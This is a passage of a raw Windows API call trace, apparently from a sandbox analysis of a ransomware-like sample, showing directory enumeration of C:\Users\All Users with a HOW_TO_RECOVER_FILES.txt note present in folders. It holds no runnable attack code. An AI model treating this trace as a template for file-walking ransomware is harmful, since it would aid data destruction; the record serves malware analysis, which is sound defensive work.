dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.781] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17d53e9c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x475e19ed, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475e19ed, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0130.782] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.782] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0130.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0130.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0130.782] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0130.782] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2621c749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2621c749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0130.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0130.783] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2621c749, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0130.784] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0130.785] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0130.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0130.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0130.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0130.786] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0130.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0130.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0130.786] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0130.786] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2621c749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.786] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x2621c749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4511a9a6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbcb1c5f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcb9c8f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comms", cAlternateFileName="")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x78624286, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x78624286, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x78624286, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2621c749, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x2621c749, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x49a254a6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0130.787] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x24239ed, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x24239ed, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0130.788] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0130.789] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0130.789] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0130.789] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0130.789] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0130.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0130.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0130.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fbc00) returned 1 [0130.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe", nBufferLength=0x105, lpBuffer=0x10fb6a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe", lpFilePart=0x0) returned 0x18 [0130.790] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x10fb920 | out: lpFindFileData=0x10fb920*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x25fe0337, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0130.790] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x10fb8e0 | out: lpFindFileData=0x10fb8e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x450f4738, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x4511a9a6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x25fe0337, 